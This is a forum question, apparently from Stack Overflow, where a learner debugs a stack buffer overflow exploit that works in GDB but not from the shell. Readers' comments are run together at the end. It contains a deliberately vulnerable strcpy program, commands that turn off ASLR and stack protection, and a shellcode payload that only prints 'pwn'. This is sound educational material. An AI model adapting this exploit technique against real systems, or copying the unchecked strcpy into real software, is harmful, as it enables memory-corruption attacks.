I have been trying to troubleshoot this problem for a while. I have checked a few StackOverflow links with similar problems, but none of the fixes seemed to work for me. For some reason, instead of getting a Segmentation Fault like I should be (if my exploit code didn't work), my exploit code simply doesn't generate the fault. My original assumption was that the perl code somehow generated only a little bit of output, thus not overflowing on to the stack, but I proved this wrong by piping the output of the perl command to a file.
I am not able to reproduce this problem in GDB, however. From my understanding, GDB disables ASLR, but I've disabled it (temporarily) in the system through the following command. I know this command works because I am printing out the address of the variable &buff, and it doesn't change among multiple runs.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
I have also disabled stack canary protection on my executable:
gcc -g -m32 -fno-stack-protector -z execstack exploit.c
As I've said before, my exploit works perfectly in GDB. Here is my exploitable program, and I'll show you my exploit code.
exploit.c
int checkFunc(char *c) {
char buff[32];
printf("0x%08x\n", &buff);
strcpy(buff, c);
if(strcmp(buff, "test") == 0) return 1;
else return 0;
}
int main(int argc, char *argv[]) {
int result = checkFunc(argv[1]);
if(result == 1) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
GDB output of [working] exploit code
(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn
Regular output of exploit code
chris@cb:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied
Yes, I have taken into account of the return address changing (GDB adds extra environmental variables). That's why I've sort of cheated by printing out the return address in my program so that I know what the exact value is without using GDB.
If anyone thinks that the exploit code is wrong somehow, I'll post the assembly code as well.
xor edx,edx ;xor so we don't have to use a null terminator in our code
xor ecx,ecx
xor ebx,ebx
push edx ;push the null terminator to the stack
push 0xa6e7770 ;push our string pwn\n to the stack
mov dl,0x4
mov ecx,esp
mov bl,0x1
mov al,0x4
int 0x80 ;print our string
jmp eip - 1 ;keep on looping!
Thank you so much in advance! I've been stuck on this for hours now. And just so you guys know, I've written this exploitable program to learn about Buffer Overflows in Hacking: The Art of Exploitation.
jmpinstruction was a single-byte instruction again? I can't seem to find it...jmp short? That's0xeb. It of course needs a single byte offset, so it's 2 bytes total. OH, my sarcasm detector needs adjusting. @baseman101: what he wanted to say is thatjmp eip-1, even if it assembles, will not do what you think it does. Usejmp $or equivalent instead.\xeb\xfedo just as well?mov al,0x4. This moves 4 into the lower 8 bits of EAX but I don't see you actually zero out the rest of the register. What happens if those bits have garbage in them? Maybe you needxor eax, eaxas well? Maybe in the debugger EAX is all zero, but when run normally it isn't?